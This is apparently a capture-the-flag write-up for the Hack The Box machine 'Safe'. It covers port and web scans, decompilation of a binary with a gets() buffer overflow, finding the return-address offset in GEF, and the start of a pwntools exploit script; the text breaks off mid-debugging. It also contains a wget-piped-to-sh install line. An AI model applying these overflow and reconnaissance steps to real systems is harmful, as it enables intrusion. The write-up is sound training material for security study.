1337/tcp on 10.10.10.147 + Connect Scan Timing: About 70.69% done; ETC: 16:10 (0:00:38 remaining) + Increasing send delay for 10.10.10.147 from 10 to 20 due to max_successful_tryno increase to 5 + Completed Connect Scan at 16:11, 147.37s elapsed (8320 total ports) + Nmap scan report for 10.10.10.147 + Host is up, received syn-ack (0.095s latency). + Scanned at 2020-02-15 16:08:45 GMT for 148s + Not shown: 8317 closed ports + Reason: 8317 conn-refused + PORT STATE SERVICE REASON + 22/tcp open ssh syn-ack + 80/tcp open http syn-ack + 1337/tcp open waste syn-ack + + Read data files from: /usr/bin/../share/nmap + Nmap done: 1 IP address (1 host up) scanned in 147.55 seconds + + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe] + → nmap -sCV -p22,80,1337 10.10.10.147 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 16:11 GMT + Nmap scan report for 10.10.10.147 + Host is up (0.096s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) + | ssh-hostkey: + | 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA) + | 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA) + |_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519) + 80/tcp open http Apache httpd 2.4.25 ((Debian)) + |_http-server-header: Apache/2.4.25 (Debian) + |_http-title: Apache2 Debian Default Page: It works + 1337/tcp open waste? + | fingerprint-strings: + | DNSStatusRequestTCP: + | 10:13:12 up 4 min, 0 users, load average: 0.00, 0.02, 0.00 + | DNSVersionBindReqTCP: + | 10:13:07 up 3 min, 0 users, load average: 0.00, 0.02, 0.00 + | GenericLines: + | 10:12:55 up 3 min, 0 users, load average: 0.00, 0.02, 0.00 + | What do you want me to echo back? + | GetRequest: + | 10:13:02 up 3 min, 0 users, load average: 0.00, 0.02, 0.00 + | What do you want me to echo back? GET / HTTP/1.0 + | HTTPOptions: + | 10:13:02 up 3 min, 0 users, load average: 0.00, 0.02, 0.00 + | What do you want me to echo back? OPTIONS / HTTP/1.0 + | Help: + | 10:13:17 up 4 min, 0 users, load average: 0.00, 0.02, 0.00 + | What do you want me to echo back? HELP + | NULL: + | 10:12:55 up 3 min, 0 users, load average: 0.00, 0.02, 0.00 + | RPCCheck: + | 10:13:02 up 3 min, 0 users, load average: 0.00, 0.02, 0.00 + | RTSPRequest: + | 10:13:02 up 3 min, 0 users, load average: 0.00, 0.02, 0.00 + | What do you want me to echo back? OPTIONS / RTSP/1.0 + | SSLSessionReq, TLSSessionReq, TerminalServerCookie: + | 10:13:18 up 4 min, 0 users, load average: 0.00, 0.02, 0.00 + |_ What do you want me to echo back? + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port1337-TCP:V=7.80%I=7%D=2/15%Time=5E481843%P=x86_64-pc-linux-gnu%r(NU + SF:LL,3E,"\x2010:12:55\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x + SF:20average:\x200\.00,\x200\.02,\x200\.00\n")%r(GenericLines,63,"\x2010:1 + SF:2:55\x20up\x203\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200 + SF:\.00,\x200\.02,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20ec + SF:ho\x20back\?\x20\r\n")%r(GetRequest,71,"\x2010:13:02\x20up\x203\x20min, + SF:\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.02,\x200\.0 + SF:0\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20GET\x20 + SF:/\x20HTTP/1\.0\r\n")%r(HTTPOptions,75,"\x2010:13:02\x20up\x203\x20min,\ + SF:x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.02,\x200\.00 + SF:\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIONS\ + SF:x20/\x20HTTP/1\.0\r\n")%r(RTSPRequest,75,"\x2010:13:02\x20up\x203\x20mi + SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.02,\x200\ + SF:.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20OPTIO + SF:NS\x20/\x20RTSP/1\.0\r\n")%r(RPCCheck,3E,"\x2010:13:02\x20up\x203\x20mi + SF:n,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.02,\x200\ + SF:.00\n")%r(DNSVersionBindReqTCP,3E,"\x2010:13:07\x20up\x203\x20min,\x20\ + SF:x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.02,\x200\.00\n") + SF:%r(DNSStatusRequestTCP,3E,"\x2010:13:12\x20up\x204\x20min,\x20\x200\x20 + SF:users,\x20\x20load\x20average:\x200\.00,\x200\.02,\x200\.00\n")%r(Help, + SF:67,"\x2010:13:17\x20up\x204\x20min,\x20\x200\x20users,\x20\x20load\x20a + SF:verage:\x200\.00,\x200\.02,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me + SF:\x20to\x20echo\x20back\?\x20HELP\r\n")%r(SSLSessionReq,64,"\x2010:13:18 + SF:\x20up\x204\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00 + SF:,\x200\.02,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x + SF:20back\?\x20\x16\x03\n")%r(TerminalServerCookie,63,"\x2010:13:18\x20up\ + SF:x204\x20min,\x20\x200\x20users,\x20\x20load\x20average:\x200\.00,\x200\ + SF:.02,\x200\.00\n\nWhat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\ + SF:?\x20\x03\n")%r(TLSSessionReq,64,"\x2010:13:18\x20up\x204\x20min,\x20\x + SF:200\x20users,\x20\x20load\x20average:\x200\.00,\x200\.02,\x200\.00\n\nW + SF:hat\x20do\x20you\x20want\x20me\x20to\x20echo\x20back\?\x20\x16\x03\n"); + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 95.74 seconds + + +## **Part 2 : Getting User Access** + +the text goes here + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe] + → nikto -h http://10.10.10.147/ + - Nikto v2.1.6 + --------------------------------------------------------------------------- + + Target IP: 10.10.10.147 + + Target Hostname: 10.10.10.147 + + Target Port: 80 + + Start Time: 2020-02-15 16:33:18 (GMT0) + --------------------------------------------------------------------------- + + Server: Apache/2.4.25 (Debian) + + The anti-clickjacking X-Frame-Options header is not present. + + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + + No CGI Directories found (use '-C all' to force check all possible dirs) + + Server may leak inodes via ETags, header found with file /, inode: 2a23, size: 588c4cc4e54b5, mtime: gzip + + Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + + Allowed HTTP Methods: POST, OPTIONS, HEAD, GET + + OSVDB-3092: /manual/: Web server manual found. + + OSVDB-3268: /manual/images/: Directory indexing found. + + OSVDB-3233: /icons/README: Apache default file found. + + 7863 requests: 0 error(s) and 9 item(s) reported on remote host + + End Time: 2020-02-15 16:46:54 (GMT0) (816 seconds) + --------------------------------------------------------------------------- + + 1 host(s) tested + + +Let's run dirsearch to see which directories we can find : + + + λ nihilist [ 10.10.14.10/23 ] [~] + → dirsearch -u http://10.10.10.147/ -e php,html,txt,js + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, html, txt, js | HTTP method: get | Threads: 10 | Wordlist size: 7126 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-16_08-32-43.log + + Target: http://10.10.10.147/ + + [08:32:44] Starting: + [08:32:46] 403 - 298B - /.ht_wsr.txt + [08:32:46] 403 - 291B - /.hta + [08:32:46] 403 - 300B - /.htaccess-dev + [08:32:46] 403 - 302B - /.htaccess-local + [08:32:46] 403 - 302B - /.htaccess-marco + [08:32:46] 403 - 300B - /.htaccess.BAK + [08:32:46] 403 - 301B - /.htaccess.bak1 + [08:32:46] 403 - 301B - /.htaccess.orig + [08:32:46] 403 - 300B - /.htaccess.old + [08:32:46] 403 - 303B - /.htaccess.sample + [08:32:46] 403 - 301B - /.htaccess.save + [08:32:46] 403 - 300B - /.htaccess.txt + [08:32:46] 403 - 302B - /.htaccess_extra + [08:32:46] 403 - 301B - /.htaccess_orig + [08:32:46] 403 - 299B - /.htaccess_sc + [08:32:46] 403 - 299B - /.htaccessBAK + [08:32:46] 403 - 300B - /.htaccessOLD2 + [08:32:46] 403 - 299B - /.htaccessOLD + [08:32:46] 403 - 295B - /.htgroup + [08:32:46] 403 - 297B - /.htaccess~ + [08:32:47] 403 - 300B - /.htpasswd-old + [08:32:47] 403 - 301B - /.htpasswd_test + [08:32:47] 403 - 297B - /.htpasswds + [08:32:47] 403 - 295B - /.htusers + [08:33:29] 200 - 11KB - /index.md + [08:33:34] 200 - 626B - /manual/index.md + [08:33:34] 301 - 313B - /manual -> http://10.10.10.147/manual/ + [08:33:47] 403 - 300B - /server-status + [08:33:47] 403 - 301B - /server-status/ + + Task Completed + + +Looking at the sourcecode of http://10.10.10.147 we see something commented out mentionning a binary named "myapp" running on port 1337. + +![](prg/35_001.png) + +Let's first download the binary locally, at http://10.10.10.147/myapp + +![](prg/35_002.png) + +Let's navigate to http://10.10.10.147:1337 to see it running. + +![](prg/35_003.png) + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe] + → ls + myapp + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe] + → file myapp + myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped + + +Looks like we are looking at a Return Oriented Programming (ROP) binary challenge, which is a Buffer Overflow based challenge. let's fire up gdb on myapp to see what we can do with it. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe] + → chmod +x myapp + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe] + → gdb ./myapp + GNU gdb (Debian 8.3.1-1) 8.3.1 + Copyright (C) 2019 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + Reading symbols from ./myapp... + (No debugging symbols found in ./myapp) + (gdb) r + Starting program: /home/nihilist/_HTB/Safe/myapp + [Detaching after vfork from child process 10840] + 08:58:30 up 15:20, 1 user, load average: 0.93, 0.87, 0.79 + + What do you want me to echo back? A + A + [Inferior 1 (process 10836) exited normally] + (gdb) r + Starting program: /home/nihilist/_HTB/Safe/myapp + [Detaching after vfork from child process 10843] + 08:58:42 up 15:20, 1 user, load average: 0.86, 0.85, 0.78 + + What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + [Inferior 1 (process 10842) exited normally] + (gdb) r + Starting program: /home/nihilist/_HTB/Safe/myapp + [Detaching after vfork from child process 10849] + 08:59:03 up 15:20, 1 user, load average: 0.61, 0.80, 0.77 + + What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + + Program received signal SIGSEGV, Segmentation fault. + 0x00000000004011ac in main () + + +Basically we need 500 As to crash the program. let's see if it still crashes if we create a pattern. While we can continue in gdb-peda, for this example we'll proceed in Ghidra to illustrate what the binary does. + + + >unzip ghidra into /opt + >sudo /opt/ghidra_9.1.1_PUBLIC/ghidraRun + >Create project in /home/nihilist/_HTB/Safe/Ghidra/ + >project name myapp > finish + + >File > Import file > myapp + >analyze it + >select all + >analyze + + >symbol tree + >functions + >main + + + +![](prg/35_004.png) + + + undefined8 main(void) + + { + char local_78 [112]; + + system("/usr/bin/uptime"); + printf("\nWhat do you want me to echo back? "); + gets(local_78); + puts(local_78); + return 0; + } + + +our main function here assigns a variable 112 bytes, which then executes system passing /usr/bin/uptime as that call, That is why we can see it run on port 1337, running uptime in our terminal shows up the same thing. Once it is done running the uptime binary, it does a **gets()** and a **puts()** + +From here we can see that if we put in more than 112 bytes, we will end up overflowing the buffer and getting overwrites + + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh + + λ root [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → gdb -q myapp + GEF for linux ready, type `gef' to start, `gef config' to configure + 76 commands loaded for GDB 8.3.1 using Python engine 3.7 + [*] 4 commands could not be loaded, run `gef missing` to know why. + Reading symbols from myapp... + (No debugging symbols found in myapp) + gef➤ r + + +back into gdb, we need gef's additional options to create patterns to identify what we can do with the buffer overflow. + + + gef➤ r + Starting program: /home/nihilist/_HTB/Safe/Ghidra/myapp + [Detaching after vfork from child process 13738] + 09:45:31 up 16:07, 1 user, load average: 1.14, 1.08, 1.10 + + What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + + Program received signal SIGSEGV, Segmentation fault. + 0x00000000004011ac in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x0 + $rbx : 0x0 + $rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?) + $rdx : 0x00007ffff7fad580 → 0x0000000000000000 + $rsp : 0x00007fffffffe438 → "AAAAAAAA" + $rbp : 0x4141414141414141 ("AAAAAAAA"?) + $rsi : 0x00000000004052a0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" + $rdi : 0x0 + $rip : 0x00000000004011ac → <****main+77> ret + $r8 : 0x81 + $r9 : 0x4141414141414141 ("AAAAAAAA"?) + $r10 : 0x4141414141414141 ("AAAAAAAA"?) + $r11 : 0x246 + $r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + $r13 : 0x00007fffffffe510 → 0x0000000000000001 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffe438│+0x0000: "AAAAAAAA" ← $rsp + 0x00007fffffffe440│+0x0008: 0x0000000000000000 + 0x00007fffffffe448│+0x0010: 0x00007fffffffe518 → 0x00007fffffffe774 → "/home/nihilist/_HTB/Safe/Ghidra/myapp" + 0x00007fffffffe450│+0x0018: 0x0000000100400000 + 0x00007fffffffe458│+0x0020: 0x000000000040115f → <****main+0> push rbp + 0x00007fffffffe460│+0x0028: 0x0000000000000000 + 0x00007fffffffe468│+0x0030: 0xad7b338534175b70 + 0x00007fffffffe470│+0x0038: 0x0000000000401070 → <_start+0> xor ebp, ebp + ───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x4011a1 <****main+66> call 0x401030 <****puts@plt> + 0x4011a6 <****main+71> mov eax, 0x0 + 0x4011ab <****main+76> leave + → 0x4011ac <****main+77> ret + [!] Cannot disassemble from $PC + ───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "myapp", stopped, reason: SIGSEGV + ─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x4011ac → main() + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + +From there, we can see that putting in more than 112 bytes (in this example, 128 bytes) we are able to cause a segfault, However we need to see where exactly we crash. So we create a pattern, paste it in, and see where exactly do we crash + + + gef➤ pattern create 200 + [+] Generating a pattern of 200 bytes + aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa + [+] Saved as '$_gef0' + gef➤ r + Starting program: /home/nihilist/_HTB/Safe/Ghidra/myapp + [Detaching after vfork from child process 13856] + 09:49:26 up 16:11, 1 user, load average: 1.01, 0.98, 1.05 + + What do you want me to echo back? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa + aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa + + Program received signal SIGSEGV, Segmentation fault. + 0x00000000004011ac in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + ─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x0 + $rbx : 0x0 + $rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?) + $rdx : 0x00007ffff7fad580 → 0x0000000000000000 + $rsp : 0x00007fffffffe438 → "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]" + $rbp : 0x616161616161616f ("oaaaaaaa"?) + $rsi : 0x00000000004052a0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]" + $rdi : 0x0 + $rip : 0x00000000004011ac → <****main+77> ret + $r8 : 0xc9 + $r9 : 0x6161616161616176 ("vaaaaaaa"?) + $r10 : 0x6161616161616177 ("waaaaaaa"?) + $r11 : 0x246 + $r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + $r13 : 0x00007fffffffe510 → 0x0000000000000001 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffe438│+0x0000: "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]" ← $rsp + 0x00007fffffffe440│+0x0008: "qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[...]" + 0x00007fffffffe448│+0x0010: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]" + 0x00007fffffffe450│+0x0018: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]" + 0x00007fffffffe458│+0x0020: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa" + 0x00007fffffffe460│+0x0028: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa" + 0x00007fffffffe468│+0x0030: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa" + 0x00007fffffffe470│+0x0038: "waaaaaaaxaaaaaaayaaaaaaa" + ───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x4011a1 <****main+66> call 0x401030 <****puts@plt> + 0x4011a6 <****main+71> mov eax, 0x0 + 0x4011ab <****main+76> leave + → 0x4011ac <****main+77> ret + [!] Cannot disassemble from $PC + ───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "myapp", stopped, reason: SIGSEGV + ─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x4011ac → main() + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + +In order to be more precise, let's use the registers function to see the details of our buffer overflow + + + gef➤ registers + $rax : 0x0 + $rbx : 0x0 + $rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?) + $rdx : 0x00007ffff7fad580 → 0x0000000000000000 + $rsp : 0x00007fffffffe438 → "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]" + $rbp : 0x616161616161616f ("oaaaaaaa"?) + $rsi : 0x00000000004052a0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]" + $rdi : 0x0 + $rip : 0x00000000004011ac → <****main+77> ret + $r8 : 0xc9 + $r9 : 0x6161616161616176 ("vaaaaaaa"?) + $r10 : 0x6161616161616177 ("waaaaaaa"?) + $r11 : 0x246 + $r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + $r13 : 0x00007fffffffe510 → 0x0000000000000001 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + + gef➤ pattern search $rsp + [+] Searching '$rsp' + [+] Found at offset 120 (little-endian search) likely + [+] Found at offset 113 (big-endian search) + + +Looks like we have found our pattern at offset 120 (little-endian format) and at offset 113 (big-endian format) Let's hand-craft a pattern of 120 Xs, 8 Ys and 8 Zs + + + λ nihilist [ 10.10.14.10/23 ] [~] + → python -c 'print "X"*128 + "Y"*8 + "Z"*8' + XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXYYYYYYYYZZZZZZZZ + + +and paste it in the binary to examine the registers + + + gef➤ r + Starting program: /home/nihilist/_HTB/Safe/Ghidra/myapp + [Detaching after vfork from child process 14017] + 09:56:05 up 16:17, 1 user, load average: 1.69, 1.21, 1.09 + + What do you want me to echo back? XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXYYYYYYYYZZZZZZZZ + XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXYYYYYYYYZZZZZZZZ + + gef➤ registers + $rax : 0x0 + $rbx : 0x0 + $rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?) + $rdx : 0x00007ffff7fad580 → 0x0000000000000000 + $rsp : 0x00007fffffffe438 → "XXXXXXXXYYYYYYYYZZZZZZZZ" + $rbp : 0x5858585858585858 ("XXXXXXXX"?) + $rsi : 0x00000000004052a0 → "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]" + $rdi : 0x0 + $rip : 0x00000000004011ac → <****main+77> ret + $r8 : 0x91 + $r9 : 0x5858585858585858 ("XXXXXXXX"?) + $r10 : 0x5858585858585858 ("XXXXXXXX"?) + $r11 : 0x246 + $r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp + $r13 : 0x00007fffffffe510 → 0x0000000000000001 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + gef➤ + + +So, if we can put a memory address where the Xs are, we can continue with the execution of the program. For example we can put the memory address of main so let's take a look back at ghidra, to see what the memory address of main is. + +![](prg/35_005.png) + +Now we know that the main function is at the 0x40115f memory address. From there we can create a python script to interact with it a little further. + + + λ nihilist [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra] + → nano exploit.py + + + + #0x40115f - main + from pwn import * + context(terminal=['tmux','new-window']) + p = gdb.debug('./myapp','b main') + context(os='linux',arch='amd64') + + junk = ("A" * 120).encode() + call_main = p64(0x40115f) + + p.recvuntil('What do you want me to echo back ?') + p.sendline(j + call_main) + + + + python3 exploit.py + + + + ─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x0 + $rbx : 0x0 + $rcx : 0x0 + $rdx : 0x0 + $rsp : 0x00007fff98990520 → 0x0000000000000001 + $rbp : 0x0 + $rsi : 0x0 + $rdi : 0x0 + $rip : 0x00007fd2a202e090 → <_start+0> mov rdi, rsp + $r8 : 0x0 + $r9 : 0x0 + $r10 : 0x0 + $r11 : 0x0 + $r12 : 0x0 + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fff98990520│+0x0000: 0x0000000000000001 ← $rsp + 0x00007fff98990528│+0x0008: 0x00007fff98992748 → 0x00707061796d2f2e ("./myapp"?) + 0x00007fff98990530│+0x0010: 0x0000000000000000 + 0x00007fff98990538│+0x0018: 0x00007fff98992750 → "APPDIR=/tmp/.mount_tmtxDoJV" + 0x00007fff98990540│+0x0020: 0x00007fff9899276c → "APPIMAGE=/tmp/tm" + 0x00007fff98990548│+0x0028: 0x00007fff9899277d → "COLORTERM=truecolor" + 0x00007fff98990550│+0x0030: 0x00007fff98992791 → "DISPLAY=:0.0" + 0x00007fff98990558│+0x0038: 0x00007fff9899279e → "HOME=/root" + ───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x7fd2a202e08a add BYTE PTR [rax], al + 0x7fd2a202e08c add BYTE PTR [rax], al + 0x7fd2a202e08e add BYTE PTR [rax], al + → 0x7fd2a202e090 <_start+0> mov rdi, rsp + 0x7fd2a202e093 <_start+3> call 0x7fd2a202ee80 <_dl_start> + 0x7fd2a202e098 <_dl_start_user+0> mov r12, rax + 0x7fd2a202e09b <_dl_start_user+3> mov eax, DWORD PTR [rip+0x27597] # 0x7fd2a2055638 <_dl_skip_args> + 0x7fd2a202e0a1 <_dl_start_user+9> pop rdx + 0x7fd2a202e0a2 <_dl_start_user+10> lea rsp, [rsp+rax*8] + ───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: 